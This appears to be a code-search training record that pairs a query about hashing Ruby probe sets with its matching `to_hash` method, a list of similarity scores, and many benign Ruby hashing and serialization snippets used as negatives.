[ "0.673225", "0.5703736", "0.55009794", "0.5247279", "0.5132042", "0.51177025", "0.51177025", "0.51152086", "0.51013553", "0.50957507", "0.5056", "0.5043404", "0.50407255", "0.49609417", "0.49414137", "0.49347275", "0.49272776", "0.49272048", "0.49239904", "0.4921173", "0.4915141", "0.48963213", "0.48933092", "0.48868778", "0.48836598", "0.48798093", "0.4870141", "0.4858642", "0.48581", "0.4850585", "0.48426917", "0.483706", "0.48358583", "0.48253003", "0.48091525", "0.479716", "0.47895113", "0.4776962", "0.47758225", "0.4773343", "0.4749339", "0.4744476", "0.4729491", "0.47230962", "0.4723065", "0.47180498", "0.47056428", "0.46805006", "0.4675873", "0.46731007", "0.46569103", "0.46569103", "0.46569103", "0.46565732", "0.46547222", "0.46528074", "0.46457848", "0.4645159", "0.464346", "0.464346", "0.46370465", "0.46326634", "0.46312165", "0.46265212", "0.46242726", "0.46182618", "0.46176335", "0.46153536", "0.46069604", "0.4606798", "0.460354", "0.45944116", "0.45907846", "0.458861", "0.45830172", "0.45829847", "0.45783517", "0.45739746", "0.45605013", "0.45503122", "0.4533989", "0.4531117", "0.4529898", "0.45270115", "0.45262071", "0.45249128", "0.45248514", "0.452469", "0.4521643", "0.45181954", "0.4516012", "0.4515152", "0.45148134", "0.4512626", "0.4510457", "0.4509245", "0.45041624", "0.45000133", "0.44992203", "0.44907704" ]
0.7685559
0
Hash representation of all the probe_sets. This gives is an intermediate format that we can parse from other systems or code that needs reporting data for formatting, or whatever.
def to_hash # Drop the probes into the report probe_sets.inject({}) { |report, set| report[set.name.to_s] = set.probes.inject({}) { |memo, (_, probe)| # round the values to 2 decimal places memo[probe.name] = (probe.value.to_f * 100).round().to_f/100 memo } report } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def probe_sets\n @probe_sets ||= Array.new\n end", "def hash\n @__set.to_a.hash\n end", "def to_hash\n {:hashes => @hashes}\n end", "def probe_sets=(probe_sets)\n @probe_sets = Array(probe_sets).flatten\n end", "def hashes\n return @hashes\n end", "def hash_of_hashes\n Hash.new do |h1, k1|\n h1[k1] = Hash.new { |h, k| h[k] = [] }\n end\n end", "def wrestler_hash_output\n\t\twrestler_hash_output = self.values\n\n\t\twrestler_hash_output[\"name\"] = wrestler_hash_output.delete :name\n\t\twrestler_hash_output[\"set\"] = wrestler_hash_output.delete :set\n\n\t\twrestler_hash_output[\"gc02\"] = wrestler_hash_output.delete :gc02\n\t\twrestler_hash_output[\"gc03\"] = wrestler_hash_output.delete :gc03\n\t\twrestler_hash_output[\"gc04\"] = wrestler_hash_output.delete :gc04\n\t\twrestler_hash_output[\"gc05\"] = wrestler_hash_output.delete :gc05\n\t\twrestler_hash_output[\"gc06\"] = wrestler_hash_output.delete :gc06\n\t\twrestler_hash_output[\"gc07\"] = wrestler_hash_output.delete :gc07\n\t\twrestler_hash_output[\"gc08\"] = wrestler_hash_output.delete :gc08\n\t\twrestler_hash_output[\"gc09\"] = wrestler_hash_output.delete :gc09\n\t\twrestler_hash_output[\"gc10\"] = wrestler_hash_output.delete :gc10\n\t\twrestler_hash_output[\"gc11\"] = wrestler_hash_output.delete :gc11\n\t\twrestler_hash_output[\"gc12\"] = wrestler_hash_output.delete :gc12\n\n\t\twrestler_hash_output[\"dc02\"] = wrestler_hash_output.delete :dc02\n\t\twrestler_hash_output[\"dc03\"] = wrestler_hash_output.delete :dc03\n\t\twrestler_hash_output[\"dc04\"] = wrestler_hash_output.delete :dc04\n\t\twrestler_hash_output[\"dc05\"] = wrestler_hash_output.delete :dc05\n\t\twrestler_hash_output[\"dc06\"] = wrestler_hash_output.delete :dc06\n\t\twrestler_hash_output[\"dc07\"] = wrestler_hash_output.delete :dc07\n\t\twrestler_hash_output[\"dc08\"] = wrestler_hash_output.delete :dc08\n\t\twrestler_hash_output[\"dc09\"] = wrestler_hash_output.delete :dc09\n\t\twrestler_hash_output[\"dc10\"] = wrestler_hash_output.delete :dc10\n\t\twrestler_hash_output[\"dc11\"] = wrestler_hash_output.delete :dc11\n\t\twrestler_hash_output[\"dc12\"] = wrestler_hash_output.delete :dc12\n\n\t\twrestler_hash_output[\"specialty\"] = wrestler_hash_output.delete :specialty\n\n\t\twrestler_hash_output[\"s1\"] = wrestler_hash_output.delete :s1\n\t\twrestler_hash_output[\"s2\"] = wrestler_hash_output.delete :s2\n\t\twrestler_hash_output[\"s3\"] = wrestler_hash_output.delete :s3\n\t\twrestler_hash_output[\"s4\"] = wrestler_hash_output.delete :s4\n\t\twrestler_hash_output[\"s5\"] = wrestler_hash_output.delete :s5\n\t\twrestler_hash_output[\"s6\"] = wrestler_hash_output.delete :s6\n\n\t\twrestler_hash_output[\"subx\"] = wrestler_hash_output[:sub][0]\n\t\twrestler_hash_output[\"suby\"] = wrestler_hash_output[:sub][1]\n\t\twrestler_hash_output[\"tagx\"] = wrestler_hash_output[:sub][0]\n\t\twrestler_hash_output[\"tagy\"] = wrestler_hash_output[:sub][1]\n\n\t\twrestler_hash_output.delete :sub\n\t\twrestler_hash_output.delete :tag\n\n\t\twrestler_hash_output[\"prioritys\"] = wrestler_hash_output.delete :prioritys\n\t\twrestler_hash_output[\"priorityt\"] = wrestler_hash_output.delete :priorityt\n\n\t\twrestler_hash_output[\"oc02\"] = wrestler_hash_output.delete :oc02\n\t\twrestler_hash_output[\"oc03\"] = wrestler_hash_output.delete :oc03\n\t\twrestler_hash_output[\"oc04\"] = wrestler_hash_output.delete :oc04\n\t\twrestler_hash_output[\"oc05\"] = wrestler_hash_output.delete :oc05\n\t\twrestler_hash_output[\"oc06\"] = wrestler_hash_output.delete :oc06\n\t\twrestler_hash_output[\"oc07\"] = wrestler_hash_output.delete :oc07\n\t\twrestler_hash_output[\"oc08\"] = wrestler_hash_output.delete :oc08\n\t\twrestler_hash_output[\"oc09\"] = wrestler_hash_output.delete :oc09\n\t\twrestler_hash_output[\"oc10\"] = wrestler_hash_output.delete :oc10\n\t\twrestler_hash_output[\"oc11\"] = wrestler_hash_output.delete :oc11\n\t\twrestler_hash_output[\"oc12\"] = wrestler_hash_output.delete :oc12\n\n\t\twrestler_hash_output[\"ro02\"] = wrestler_hash_output.delete :ro02\n\t\twrestler_hash_output[\"ro03\"] = wrestler_hash_output.delete :ro03\n\t\twrestler_hash_output[\"ro04\"] = wrestler_hash_output.delete :ro04\n\t\twrestler_hash_output[\"ro05\"] = wrestler_hash_output.delete :ro05\n\t\twrestler_hash_output[\"ro06\"] = wrestler_hash_output.delete :ro06\n\t\twrestler_hash_output[\"ro07\"] = wrestler_hash_output.delete :ro07\n\t\twrestler_hash_output[\"ro08\"] = wrestler_hash_output.delete :ro08\n\t\twrestler_hash_output[\"ro09\"] = wrestler_hash_output.delete :ro09\n\t\twrestler_hash_output[\"ro10\"] = wrestler_hash_output.delete :ro10\n\t\twrestler_hash_output[\"ro11\"] = wrestler_hash_output.delete :ro11\n\t\twrestler_hash_output[\"ro12\"] = wrestler_hash_output.delete :ro12\n\n\t\tf = File.new(\"files/output/#{wrestler_hash_output[\"name\"]}_#{wrestler_hash_output[\"set\"]}_hash.txt\", 'a')\n\n\t\tf.write(\"{\")\n\t\twrestler_hash_output.each { |k,v|\n\t\t\tf.write(\"\\\"#{k}\\\"=>\\\"#{v}\\\", \")\n\t\t}\n\t\tf.write(\"template: nil}\")\n\n\t\tf.write(\"\\n\\n\")\n\tend", "def hash\n [monitor_tags].hash\n end", "def lands_hash\n []\n end", "def hash\n [specs, platform, requires_frameworks].hash\n end", "def hash\n [host_list, total_matching, total_returned].hash\n end", "def file_hashes\n @file_hashes ||= file_field_sets.map do |file_field_set|\n instantiation_fields, file_fields = file_field_set.partition do |field|\n instantiation_header?(field.header)\n end\n\n file_hash = fields_to_hash(file_fields)\n file_hash['files'] = [fields_to_hash(instantiation_fields)]\n\n file_hash\n end\n end", "def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend", "def to_h\n hash = Hash.new\n hash[:flowcell_id] = self.id\n hash[:samples] = []\n each_sample_with_lane do |sample, lane|\n hash[:samples] << sample.to_h\n end\n hash[:paths] = self.paths.to_h\n hash\n end", "def to_hash\n {\n :name => self[:name],\n :cms_id => self[:cms_id],\n :nqf_id => self[:nqf_id],\n :hqmf_id => self[:hqmf_id],\n :hqmf_set_id => self[:hqmf_set_id],\n :hqmf_version_number => self[:hqmf_version_number],\n :value_sets => self.value_sets_to_hashes\n }\n end", "def hash\n [].hash\n end", "def output_hash; end", "def set_to_hash(set)\n return {} unless set\n pod = Pod::UI::UIPod.new(set)\n\n hash = {}\n %w|name version versions authors homepage summary license|.each do |attribute|\n hash[attribute] = pod.send(attribute).to_s\n end\n\n hash['sourceURL'] = pod.source_url\n hash['specDescription'] = pod.description\n hash['subspecs'] = pod.subspecs.map(&:name) if pod.subspecs\n hash['definedInFile'] = pod.spec.defined_in_file.to_s\n hash['supportsIOS'] = pod.spec.available_platforms.include?(:ios)\n hash['supportsOSX'] = pod.spec.available_platforms.include?(:osx)\n hash\n end", "def hash\n [class_id, object_type, admin_evac_state, admin_inband_interface_state, alarm_summary, available_memory, device_mo_id, dn, ethernet_mode, ethernet_switching_mode, fault_summary, fc_mode, fc_switching_mode, firmware, inband_ip_address, inband_ip_gateway, inband_ip_mask, inband_vlan, ipv4_address, management_mode, model, name, num_ether_ports, num_ether_ports_configured, num_ether_ports_link_up, num_expansion_modules, num_fc_ports, num_fc_ports_configured, num_fc_ports_link_up, oper_evac_state, operability, out_of_band_ip_address, out_of_band_ip_gateway, out_of_band_ip_mask, out_of_band_ipv4_address, out_of_band_ipv4_gateway, out_of_band_ipv4_mask, out_of_band_ipv6_address, out_of_band_ipv6_gateway, out_of_band_ipv6_prefix, out_of_band_mac, presence, revision, rn, serial, source_object_type, switch_id, thermal, total_memory, vendor, version, registered_device].hash\n end", "def hash\n [check_id, exceptions, key, links, port, proof, protocol, since, status].hash\n end", "def hash\n @elements.hash\n end", "def hash\n @elements.hash\n end", "def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end", "def hash\n { hash: @hash, hashType: @hash_type }\n end", "def to_hash\n @summaries\n end", "def hashes=(value)\n @hashes = value\n end", "def hash\n [actor, artist, aspect_ratio, audience_rating, author, back_finding, band_material_type, binding, bluray_region, brand, cero_age_rating, chain_type, clasp_type, color, cpu_manufacturer, cpu_speed, cpu_type, creator, department, director, display_size, edition, episode_sequence, esrb_age_rating, feature, flavor, format, gem_type, genre, golf_club_flex, golf_club_loft, hand_orientation, hard_disk_interface, hard_disk_size, hardware_platform, hazardous_material_type, item_dimensions, is_adult_product, is_autographed, is_eligible_for_trade_in, is_memorabilia, issues_per_year, item_part_number, label, languages, legal_disclaimer, list_price, manufacturer, manufacturer_maximum_age, manufacturer_minimum_age, manufacturer_parts_warranty_description, material_type, maximum_resolution, media_type, metal_stamp, metal_type, model, number_of_discs, number_of_issues, number_of_items, number_of_pages, number_of_tracks, operating_system, optical_zoom, package_dimensions, package_quantity, part_number, pegi_rating, platform, processor_count, product_group, product_type_name, product_type_subcategory, publication_date, publisher, region_code, release_date, ring_size, running_time, shaft_material, scent, season_sequence, seikodo_product_code, size, size_per_pearl, small_image, studio, subscription_length, system_memory_size, system_memory_type, theatrical_release_date, title, total_diamond_weight, total_gem_weight, warranty, weee_tax_value].hash\n end", "def hash\n [apm_scanned_bytes, events_scanned_bytes, hour, logs_scanned_bytes, org_name, public_id, rum_scanned_bytes, total_scanned_bytes].hash\n end", "def to_hash\n { :setup => @setup, :windows => @windows }\n end", "def hash\n [configured_alert_ids, created_at, creator, description, groups, id, modified_at, monitor_ids, monitor_tags, name, query, tags, target_threshold, thresholds, timeframe, type, warning_threshold].hash\n end", "def hash\n [class_id, object_type, accessibility_summary, creation_time, datastore_kind, datastore_status, dsconfig, free_capacity_in_bytes, host_mount_status, is_encrypted, last_access_time, last_modified_time, mount_summary, parent_uuid, site, total_capacity_in_bytes, un_compressed_used_bytes, unshared_used_bytes, uuid, data_protection_peer, src_cluster, tgt_cluster].hash\n end", "def hash\n lists.inject({}){ |hash, p| hash[p[0]] ||= []; hash[p[0]] << p[1]; hash }\n end", "def to_h\n hsh = {}\n each do |b|\n b.each { |sb| hsh[sb.key] = sb.value }\n end\n hsh\n end", "def hash\n [id, title, image, image_type, servings, ready_in_minutes, license, source_name, source_url, spoonacular_source_url, aggregate_likes, health_score, spoonacular_score, price_per_serving, analyzed_instructions, cheap, credits_text, cuisines, dairy_free, diets, gaps, gluten_free, instructions, ketogenic, low_fodmap, occasions, sustainable, vegan, vegetarian, very_healthy, very_popular, whole30, weight_watcher_smart_points, dish_types, extended_ingredients, summary, wine_pairing].hash\n end", "def hash\n [additional_query_filters, data_source, group_mode, measure, name, slo_id, slo_query_type].hash\n end", "def hash\n [from_ts, group_by, groups, monitors, overall, series, thresholds, to_ts, type, type_id].hash\n end", "def hash\n [file_id, output_version, image_quality, recompress_images, enable_color_detection, pack_document, pack_fonts, downscale_images, downscale_resolution, fast_web_view, remove_form_fields, remove_annotations, remove_bookmarks, remove_hyperlinks, remove_embedded_files, remove_blank_pages, remove_java_script, enable_jpeg2000, enable_jbig2, enable_char_repair, enable_mrc, preserve_smoothing, downscale_resolution_mrc, remove_metadata, remove_page_thumbnails, remove_page_piece_info, jbig2_pms_threshold].hash\n end", "def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend", "def dataset_names_hash\n @dataset_names_hash ||= Hash[dataset_names.map { |i| [i, true] }]\n end", "def all\n return @all if @all\n\n @all = []\n sets = {}\n\n @fog.tags.all(:key => \"Host\", :value => @hostname).each do |tag|\n next unless tag.resource_type == \"snapshot\"\n next unless snap = @fog.snapshots.get(tag.resource_id)\n next unless snap.tags[\"Mount\"] == @mount\n\n set_id = snap.tags[\"SetID\"] || generate_set_id\n\n set = sets[set_id] ? sets[set_id] : {:ids => [], :created_at => snap.created_at, :types => []}\n\n set[:ids] << snap.id\n set[:created_at] = snap.created_at if snap.created_at < set[:created_at]\n set[:types] |= snap.tags[\"Type\"].split(\",\") if snap.tags.has_key?(\"Type\")\n\n sets[set_id] = set\n end\n\n @all = sets.values\n @all.sort!{|a, b| a[:created_at] <=> b[:created_at]}\n\n @all\n end", "def hash\n [id, name, based_on, custom_calendar, default_flag, application_order, hi_impact_hi_urgency, hi_impact_med_urgency, hi_impact_low_urgency, med_impact_hi_urgency, med_impact_med_urgency, med_impact_low_urgency, low_impact_hi_urgency, low_impact_med_urgency, low_impact_low_urgency, respond_hours, respond_percent, plan_within, plan_within_percent, resolution_hours, resolution_percent, _info].hash\n end", "def generate_hash\n @groups.flatten.inject([]) {|hash, stone| hash << stone.to_s}.sort.hash\n end", "def to_h\n @mset.dup\n end", "def to_h\n Hash[all_entries]\n end", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end", "def hash\n to_a.hash\n end", "def all_datafile_hash\n hash = {}\n items = @all_datafiles\n for df in items\n hash[df] = {}\n end\n return hash\n end", "def specifications_hash\n @specification_hash ||= (\n temp_hash = {}\n manufacturer = self.manufacturer\n self.specifications.each do |spec|\n temp_hash[spec.specification_type.name.to_sym] = spec.name\n end\n temp_hash.merge! :product_id => self.id, :name => self.clean_name, :manufacturer_id => manufacturer.id, :manufacturer_name => manufacturer.name\n temp_hash\n )\n end", "def hash\n [input, playback_policy, per_title_encode, passthrough, mp4_support, normalize_audio, master_access, test].hash\n end", "def hash\n self[:pc].hash\n end", "def to_hash\n hash = super\n\n hash.delete(:full_load_hours)\n hash.delete(:query)\n hash.delete(:sets)\n\n hash\n end", "def hash\n data.hash\n end", "def fields_hash\n @fields_hash ||=\n begin\n field_sets_hash = Hash.new { |h, k| h[k] = Set.new }\n @types.each do |type|\n Setup.for(type).fields.each do |field|\n field_sets_hash[field.name.to_sym] << field\n end\n end\n fields_hash = {}\n field_sets_hash.each_pair do |field_name, set|\n if set.length == 1\n fields_hash[field_name] = set.to_a.first\n end\n end\n fields_hash\n end\n end", "def hash\n @hash ||= @trace_id.hash ^ @is_new.hash ^ @span_id.hash ^\n @sampled.hash ^ @capture_stack.hash\n end", "def hash\n [class_id, object_type, block_size, bootable, configuration_checkpoint, configuration_state, discovered_path, disk_id, disk_state, drive_firmware, drive_state, fde_capable, hot_spare_type, link_speed, link_state, num_blocks, oper_power_state, oper_qualifier_reason, operability, physical_block_size, pid, protocol, raw_size, secured, size, thermal, type, variant_type, inventory_device_info, locator_led, physical_disk_extensions, registered_device, running_firmware, sas_ports, storage_controller, storage_enclosure].hash\n end", "def hash\n to_s.hash\n end", "def serialize_array\n `self.serializeArray()`.map { |e| Hash.new(e) }\n end", "def hash\n [hardware_baseboard, public_key, memory, processors, cpu_logical_count, connection_url, operating_system, cpu_physical_cores, status, operating_system_uptime, cpu_model, owner, cpu_family, cpu_frequency, hardware_firmware].hash\n end", "def hash\n [class_id, object_type, acs_control_gpu1state, acs_control_gpu2state, acs_control_gpu3state, acs_control_gpu4state, acs_control_gpu5state, acs_control_gpu6state, acs_control_gpu7state, acs_control_gpu8state, acs_control_slot11state, acs_control_slot12state, acs_control_slot13state, acs_control_slot14state, adjacent_cache_line_prefetch, advanced_mem_test, all_usb_devices, altitude, aspm_support, assert_nmi_on_perr, assert_nmi_on_serr, auto_cc_state, autonumous_cstate_enable, baud_rate, bme_dma_mitigation, boot_option_num_retry, boot_option_re_cool_down, boot_option_retry, boot_performance_mode, burst_and_postponed_refresh, c1auto_demotion, c1auto_un_demotion, cbs_cmn_apbdis, cbs_cmn_cpu_cpb, cbs_cmn_cpu_gen_downcore_ctrl, cbs_cmn_cpu_global_cstate_ctrl, cbs_cmn_cpu_l1stream_hw_prefetcher, cbs_cmn_cpu_l2stream_hw_prefetcher, cbs_cmn_cpu_smee, cbs_cmn_cpu_streaming_stores_ctrl, cbs_cmn_determinism_slider, cbs_cmn_efficiency_mode_en, cbs_cmn_fixed_soc_pstate, cbs_cmn_gnb_nb_iommu, cbs_cmn_gnb_smu_df_cstates, cbs_cmn_gnb_smucppc, cbs_cmn_mem_ctrl_bank_group_swap_ddr4, cbs_cmn_mem_map_bank_interleave_ddr4, cbs_cmnc_tdp_ctl, cbs_cpu_ccd_ctrl_ssp, cbs_cpu_core_ctrl, cbs_cpu_smt_ctrl, cbs_dbg_cpu_snp_mem_cover, cbs_dbg_cpu_snp_mem_size_cover, cbs_df_cmn_acpi_srat_l3numa, cbs_df_cmn_dram_nps, cbs_df_cmn_mem_intlv, cbs_df_cmn_mem_intlv_size, cbs_sev_snp_support, cdn_enable, cdn_support, channel_inter_leave, cisco_adaptive_mem_training, cisco_debug_level, cisco_oprom_launch_optimization, cisco_xgmi_max_speed, cke_low_policy, closed_loop_therm_throtl, cmci_enable, config_tdp, config_tdp_level, console_redirection, core_multi_processing, cpu_energy_performance, cpu_frequency_floor, cpu_perf_enhancement, cpu_performance, cpu_power_management, cr_qos, crfastgo_config, dcpmm_firmware_downgrade, demand_scrub, direct_cache_access, dram_clock_throttling, dram_refresh_rate, dram_sw_thermal_throttling, eadr_support, edpc_en, enable_clock_spread_spec, enable_mktme, enable_sgx, enable_tme, energy_efficient_turbo, eng_perf_tuning, enhanced_intel_speed_step_tech, epoch_update, epp_enable, epp_profile, execute_disable_bit, extended_apic, flow_control, frb2enable, hardware_prefetch, hwpm_enable, imc_interleave, intel_dynamic_speed_select, intel_hyper_threading_tech, intel_speed_select, intel_turbo_boost_tech, intel_virtualization_technology, intel_vt_for_directed_io, intel_vtd_coherency_support, intel_vtd_interrupt_remapping, intel_vtd_pass_through_dma_support, intel_vtdats_support, ioh_error_enable, ioh_resource, ip_prefetch, ipv4http, ipv4pxe, ipv6http, ipv6pxe, kti_prefetch, legacy_os_redirection, legacy_usb_support, llc_alloc, llc_prefetch, lom_port0state, lom_port1state, lom_port2state, lom_port3state, lom_ports_all_state, lv_ddr_mode, make_device_non_bootable, memory_bandwidth_boost, memory_inter_leave, memory_mapped_io_above4gb, memory_refresh_rate, memory_size_limit, memory_thermal_throttling, mirroring_mode, mmcfg_base, network_stack, numa_optimized, nvmdimm_perform_config, onboard10gbit_lom, onboard_gbit_lom, onboard_scu_storage_support, onboard_scu_storage_sw_stack, operation_mode, os_boot_watchdog_timer, os_boot_watchdog_timer_policy, os_boot_watchdog_timer_timeout, out_of_band_mgmt_port, package_cstate_limit, panic_high_watermark, partial_cache_line_sparing, partial_mirror_mode_config, partial_mirror_percent, partial_mirror_value1, partial_mirror_value2, partial_mirror_value3, partial_mirror_value4, patrol_scrub, patrol_scrub_duration, pc_ie_ras_support, pc_ie_ssd_hot_plug_support, pch_usb30mode, pci_option_ro_ms, pci_rom_clp, pcie_ari_support, pcie_pll_ssc, pcie_slot_mraid1link_speed, pcie_slot_mraid1option_rom, pcie_slot_mraid2link_speed, pcie_slot_mraid2option_rom, pcie_slot_mstorraid_link_speed, pcie_slot_mstorraid_option_rom, pcie_slot_nvme1link_speed, pcie_slot_nvme1option_rom, pcie_slot_nvme2link_speed, pcie_slot_nvme2option_rom, pcie_slot_nvme3link_speed, pcie_slot_nvme3option_rom, pcie_slot_nvme4link_speed, pcie_slot_nvme4option_rom, pcie_slot_nvme5link_speed, pcie_slot_nvme5option_rom, pcie_slot_nvme6link_speed, pcie_slot_nvme6option_rom, pcie_slots_cdn_enable, pop_support, post_error_pause, post_package_repair, processor_c1e, processor_c3report, processor_c6report, processor_cstate, psata, pstate_coord_type, putty_key_pad, pwr_perf_tuning, qpi_link_frequency, qpi_link_speed, qpi_snoop_mode, rank_inter_leave, redirection_after_post, sata_mode_select, select_memory_ras_configuration, select_ppr_type, serial_port_aenable, sev, sgx_auto_registration_agent, sgx_epoch0, sgx_epoch1, sgx_factory_reset, sgx_le_pub_key_hash0, sgx_le_pub_key_hash1, sgx_le_pub_key_hash2, sgx_le_pub_key_hash3, sgx_le_wr, sgx_package_info_in_band_access, sgx_qos, sha1pcr_bank, sha256pcr_bank, single_pctl_enable, slot10link_speed, slot10state, slot11link_speed, slot11state, slot12link_speed, slot12state, slot13state, slot14state, slot1link_speed, slot1state, slot2link_speed, slot2state, slot3link_speed, slot3state, slot4link_speed, slot4state, slot5link_speed, slot5state, slot6link_speed, slot6state, slot7link_speed, slot7state, slot8link_speed, slot8state, slot9link_speed, slot9state, slot_flom_link_speed, slot_front_nvme10link_speed, slot_front_nvme10option_rom, slot_front_nvme11link_speed, slot_front_nvme11option_rom, slot_front_nvme12link_speed, slot_front_nvme12option_rom, slot_front_nvme13option_rom, slot_front_nvme14option_rom, slot_front_nvme15option_rom, slot_front_nvme16option_rom, slot_front_nvme17option_rom, slot_front_nvme18option_rom, slot_front_nvme19option_rom, slot_front_nvme1link_speed, slot_front_nvme1option_rom, slot_front_nvme20option_rom, slot_front_nvme21option_rom, slot_front_nvme22option_rom, slot_front_nvme23option_rom, slot_front_nvme24option_rom, slot_front_nvme2link_speed, slot_front_nvme2option_rom, slot_front_nvme3link_speed, slot_front_nvme3option_rom, slot_front_nvme4link_speed, slot_front_nvme4option_rom, slot_front_nvme5link_speed, slot_front_nvme5option_rom, slot_front_nvme6link_speed, slot_front_nvme6option_rom, slot_front_nvme7link_speed, slot_front_nvme7option_rom, slot_front_nvme8link_speed, slot_front_nvme8option_rom, slot_front_nvme9link_speed, slot_front_nvme9option_rom, slot_front_slot5link_speed, slot_front_slot6link_speed, slot_gpu1state, slot_gpu2state, slot_gpu3state, slot_gpu4state, slot_gpu5state, slot_gpu6state, slot_gpu7state, slot_gpu8state, slot_hba_link_speed, slot_hba_state, slot_lom1link, slot_lom2link, slot_mezz_state, slot_mlom_link_speed, slot_mlom_state, slot_mraid_link_speed, slot_mraid_state, slot_n10state, slot_n11state, slot_n12state, slot_n13state, slot_n14state, slot_n15state, slot_n16state, slot_n17state, slot_n18state, slot_n19state, slot_n1state, slot_n20state, slot_n21state, slot_n22state, slot_n23state, slot_n24state, slot_n2state, slot_n3state, slot_n4state, slot_n5state, slot_n6state, slot_n7state, slot_n8state, slot_n9state, slot_raid_link_speed, slot_raid_state, slot_rear_nvme1link_speed, slot_rear_nvme1state, slot_rear_nvme2link_speed, slot_rear_nvme2state, slot_rear_nvme3link_speed, slot_rear_nvme3state, slot_rear_nvme4link_speed, slot_rear_nvme4state, slot_rear_nvme5state, slot_rear_nvme6state, slot_rear_nvme7state, slot_rear_nvme8state, slot_riser1link_speed, slot_riser1slot1link_speed, slot_riser1slot2link_speed, slot_riser1slot3link_speed, slot_riser2link_speed, slot_riser2slot4link_speed, slot_riser2slot5link_speed, slot_riser2slot6link_speed, slot_sas_state, slot_ssd_slot1link_speed, slot_ssd_slot2link_speed, smee, smt_mode, snc, snoopy_mode_for2lm, snoopy_mode_for_ad, sparing_mode, sr_iov, streamer_prefetch, svm_mode, terminal_type, tpm_control, tpm_pending_operation, tpm_support, tsme, txt_support, ucsm_boot_order_rule, ufs_disable, uma_based_clustering, upi_link_enablement, upi_power_management, usb_emul6064, usb_port_front, usb_port_internal, usb_port_kvm, usb_port_rear, usb_port_sd_card, usb_port_vmedia, usb_xhci_support, vga_priority, virtual_numa, vmd_enable, vol_memory_mode, work_load_config, xpt_prefetch, xpt_remote_prefetch, organization, profiles].hash\n end", "def hashes(to = $stdout)\n hashes = {}\n \n ObjectSpace.each_object(Hash) do |hash|\n begin\n keys_orig = hash.keys.sort\n rescue ArgumentError\n #When unable to sort regexps...\n next\n end\n \n keys = []\n keys_orig.each do |key|\n keys << key.to_s\n end\n \n if keys.empty?\n keystr = :empty\n else\n keystr = keys.join(\":\")\n end\n \n if !hashes.key?(keystr)\n hashes[keystr] = 1\n else\n hashes[keystr] += 1\n end\n end\n \n hashes.delete_if do |key, val|\n val < 100\n end\n \n hashes = Knj::ArrayExt.hash_sort(hashes) do |h1, h2|\n h2[1] <=> h1[1]\n end\n \n to.print \"<h1>Hashes</h1>\\n\"\n to.write \"<table class=\\\"hashes list\\\">\\n\"\n to.write \"\\t<thead>\\n\"\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<th>Hash keys</th>\\n\"\n to.write \"\\t\\t\\t<th>Instances</th>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n to.write \"\\t</thead>\\n\"\n to.write\"\\t<tbody>\\n\"\n \n hashes.each do |key, val|\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Web.html(key)}</td>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Locales.number_out(val, 0)}</td>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n end\n \n to.write \"\\t</tbody>\\n\"\n to.write \"</table>\\n\"\n end", "def hash\n [is_blueprint_copy, is_included, item_id, material_efficiency, quantity, record_id, runs, time_efficiency, type_id].hash\n end", "def serialize_test\n all = Hash.new\n all[:id] = id\n all[:title] = title\n all[:description] = description\n all[:tags] = tags\n all[:active] = active\n all[:shared] = shared\n all[:questions] = []\n questions.select(:id, :question, :hint, :explanation, :tags, :qtype, :active, :lang, :worth, :status).each do |q|\n all[:questions] << q\n end\n all\n end", "def hash\n [id, user_id, input_audio_id, output_audio_id, output_video_id, reference_audio_id, mode, status, failure_reason, target_loudness_mode, target_loudness, output_format, preset, bit_depth, sample_rate, review_comment, review_score, mastering_matching_level, progression, bass_preservation, mastering, mastering_algorithm, preserved, retry_count, mastering_reverb, mastering_reverb_gain, low_cut_freq, high_cut_freq, ceiling, ceiling_mode, oversample, limiting_error, video_title, video_status, expire_at, created_at, updated_at].hash\n end", "def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end", "def to_hash\n memoize(:to_hash) do\n _process_hashed(structures.inject({}) { |acc, elem| Utils.merge(acc, elem) })\n end\n end", "def hash\n [id, banco, agencia, conta_corrente, especie, numero_convenio, carteira, codigo_cedente, especie_tipo, especie_documento, aceite, instrucoes, local_pagamento1, local_pagamento2, endereco_cobranca_emissor, nome_beneficiario, cnpj_beneficiario, operador, data, maquina].hash\n end", "def hash\n @hash ||= self.to_a.hash\n end", "def hash\n [agent_host_count, alibaba_host_count, apm_azure_app_service_host_count, apm_host_count, aws_host_count, azure_host_count, container_count, gcp_host_count, heroku_host_count, host_count, hour, infra_azure_app_service, opentelemetry_apm_host_count, opentelemetry_host_count, org_name, public_id, vsphere_host_count].hash\n end", "def hash\n [height, id, is_mobile, name, width].hash\n end", "def hash\n [class_id, object_type, annotation, config_name, connection_state, cpu_hot_add_enabled, cpu_shares, cpu_socket_info, custom_attributes, default_power_off_type, dhcp_enabled, disk_commit_info, dns_server_list, dns_suffix_list, extra_config, folder, guest_state, host_compatibility, instance_uuid, inventory_path, is_template, mac_address, mem_shares, memory_hot_add_enabled, network_count, port_groups, protected_vm, remote_display_info, remote_display_vnc_enabled, resource_pool, resource_pool_owner, resource_pool_parent, tool_running_status, tools_version, virtual_disks, virtual_network_interfaces, vm_disk_count, vm_overall_status, vm_path, vm_version, vm_vnic_count, vnic_device_config_id, cluster, datacenter, datastores, host, networks, parent_folder].hash\n end", "def hash\n return to_s.hash\n end", "def hash\r\n return to_s.hash\r\n end", "def as_hash(clusters)\n\t\t\tclusters.inject({}){|hash, (key,value)|\n\t\t\t\thash[key]=value.flatten.map(&:items) 